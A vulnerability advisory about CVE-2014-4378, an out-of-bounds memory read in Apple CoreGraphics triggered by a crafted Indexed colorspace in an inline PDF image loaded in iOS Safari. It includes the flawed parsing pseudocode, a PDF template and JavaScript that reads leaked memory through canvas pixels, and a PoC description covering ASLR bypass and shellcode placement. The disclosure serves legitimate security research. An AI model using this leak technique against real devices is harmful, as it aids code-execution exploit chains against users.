CoreGraphics Information Disclosure - CVE-2014-4378

2014-09-1818:31:00

feliam ([email protected])

blog.binamuse.com

660

EPSS

0.013

Percentile

85.9%

JSON

This article explores the exploitability of MobileSafari on IOS 7.1.x. Using a crafted PDF file as an HTML image makes it possible to leak information about the memory layout to the browser Javascript interpreter. Apple CoreGraphics library fails to validate input when parsing the colorspace specification of an inline image embedded in a PDF content stream. he issue results in an information leak vulnerability that improves the adversary capability of exploit other vulnerabilities in any application linked with this library. This is also proved useful to bypass a several exploit mitigations such as ASLR, DEP and CodeSigning. A 100% reliable PoC leak-exploit can be downloaded from github
Quick links: White paper, PoC Exploit generator in python

Title: Apple CoreGraphics Information Disclosure
CVE Name: CVE-2014-4378
Permalink: http://blog.binamuse.com/2014/09/coregraphics-information-disclosure.html
Date published: 2014-09-18
Date of last update: 2014-09-18
Class: Client side / Out of bounds memory read
Advisory: HT6441 HT6443

Vulnerability Details

Safari accepts PDF files as native image format for the < image > html tag. Thus browsing an html page in Safari can transparently load multiple pdf files without any further user interaction. CoreGraphics is the responsible of parsing the PDF files.
On a PDF, a sampled image may be specified in the form of an inline image as an alternative to the image XObjects described in 8.9.5 'Image Dictionaries'. This type of image shall be defined directly within the content stream of a pdf page. Each inline image specification may contain the declaration of a colorspace, this colorpace specification complies to a different syntax than the one used in the specification of images as eXternal Objects. For the specification of colorpaces in XObjects see 8.9.5 'Image Dictionaries'. An inline image embedded in a PDF content stream looks like this:

q  
17 0 0 17 298 388 cm                           % Save graphics state  
                                               % Scale and translate coordinate space  
BI                                             % Begin inline image object  
/W 17                                          % Width in samples  
/H 17                                          % Height in samples  
/CS $COLORSPACE-SPEC$                          % Color space  !!!!!!!!!!!!!!!!!!  
/BPC 8                                         % Bits per component  
/F [ /A85 /LZW ]                               % Filters  
ID                                             % Begin image data  
J1/gKA&gt;.]AN&J?]-  
EI                                             % End inline image object  
Q                                              % Restore graphics state

Where $COLORSPACE-SPEC$ is a placeholder for a colorspace specification as described in section 8.6.4 ‘Device Colour Spaces’. An Indexed color space shall be defined by a four-element array:

[ /Indexed base hival lookup ]

The first element shall be the color space family name /Indexed (or /I). The base parameter shall be an array or name that identifies the base color space. The hival parameter shall be an integer that specifies the maximum valid index value. The color table shall be defined by the lookup parameter, which for inline images shall be a byte string.
The information leak bug resides in the Indexed type colorspace specification parsing code. It fails to validate hival with the size of the lookup table. This enables an attacker to read past the end of the lookup table, and use the uncontroled memory immediately after the memory of the table in an unexpected way. This research is based on the iPhone3,1(iPhone4) iOS 7.1.1. Considering the dyld_shared_cache_armv7 file is loaded at 0x2c00000000, the function that parses inline image colorspace is at 0x2D527C3C.
Pseudocode follows:

/* Read the colorspace definition under the /ColorSpace or /CS field of dictionary*/  
if ( CGPDFDictionaryGetObject(dict, "ColorSpace", &cs_obj) ||   
             CGPDFDictionaryGetObject(dict, "CS", &cs_obj)    ) {  
    CS = 0;  
    if ( cs_obj ) {  
    /* In case the colorspace definition is of type PDFName (5) initialize a standar colorpace object */  
    if ( CGPDFObjectGetValue(cs_obj, 5, &cs_name) == 1 ) {  
        CS = mk_CSDefault_2D52850C(cs_name);  
        if ( !CS ) {  
            cs_strm = CGPDFContentStreamGetColorSpace(v3, cs_name);  
            CS = CGColorSpaceRetain(cs_strm);  
        }  
    }  
    else {  
        if (  /* If cs_object is of type PDFArray */  
            CGPDFObjectGetValue(cs_obj, 7, &cs_array) == 1  &&  
            /* ... and it has 4 elements ...*/  
            CGPDFArrayGetCount(cs_array) == 4               &&  
            /* ... and the first element is a PDFName ... */  
            CGPDFArrayGetName(cs_array, 0, &cs_name) == 1   &&  
            /* ... and this PDFName is "/Indexed" or "/I" ... */  
            ( !strcmp(cs_name, "Indexed") || !strcmp(cs_name, "I") ) &&  
            /* ... and the second element is also a PDFName ...*/  
            CGPDFArrayGetName(cs_array, 1, &cs_name) == 1   &&  
            /* ... and The third element is an integer N ... */  
            CGPDFArrayGetInteger(cs_array, 2, &N) == 1      &&  
            /* ... and the forth element, the lookup table is a PDFString */  
            CGPDFArrayGetString(cs_array, 3, &index_table) == 1 ) {  
                /* get the string raw data */  
                str = (void *)CGPDFStringGetBytePtr(index_table);  
                if ( str ) {  
                    /* prepare the inner simple colorspace */  
                    default_cs = mk_CSDefault_2D52850C(cs_name);  
                    if ( default_cs ) {  
                        /* and build the indexed colorspace object */  
                        CS = CGColorSpaceCreateIndexed(default_cs, N, str);  
                        CGColorSpaceRelease(default_cs);  
                    }  
                }  
        }  
    }  
}

Note that the length of the pdf string str is never compared to N. CGColorSpaceCreateIndexed will build a colorspace object with a lookup table composed of str and the memory that happens to follow that.

Exploitation details

The data in the Inline Image that specifies the buggy indexed colorspace will be translated into actual pixels using the lookup table, and the data that resides immediately after the pdf string str will be put as pixel data of the image. This is easy to access via javascript machinery. Something like this…

var img = document.getElementById("pdfleakimage")  
var canvas = document.createElement('canvas');  
var pixelData;  
var content;  
/* set the canvas size to the image size */  
canvas.width = img.width;  
canvas.height = img.height;  
  
/*paste te image on the canvas */  
canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height);  
/* pixelData is the actual RGBA pixel data :) */  
pixelData = canvas.getContext('2d').getImageData(0, 0, img.width, img.height).data;  
  
/* only problem is that the 4th byte of each pixel is not usable ... */  
var leak = new Array();  
for (var i=0; i&lt;img.width*img.height*4; i+=1){  
    if ( (1+i)%4 == 0 )  
        continue;  
    leak[leak.length] = pixelData[i];  
}  
  
/* leak contains the values read from memory */

A 100% reliable PoC leak-exploit can be generated using the github project. Some heap massaging is needed to improve the probability of leaking an interesting address pointer and to elude the corner case in which the str is allocated close to the end of a memory page. The Poc detects the browser device type, firmware version, dyld_shared_cache base address and it also plants a configured shellcode and leaks its starting address. This is ready to implement a 100% reliable code execution exploit (IOS) when combining it with another vulnerability.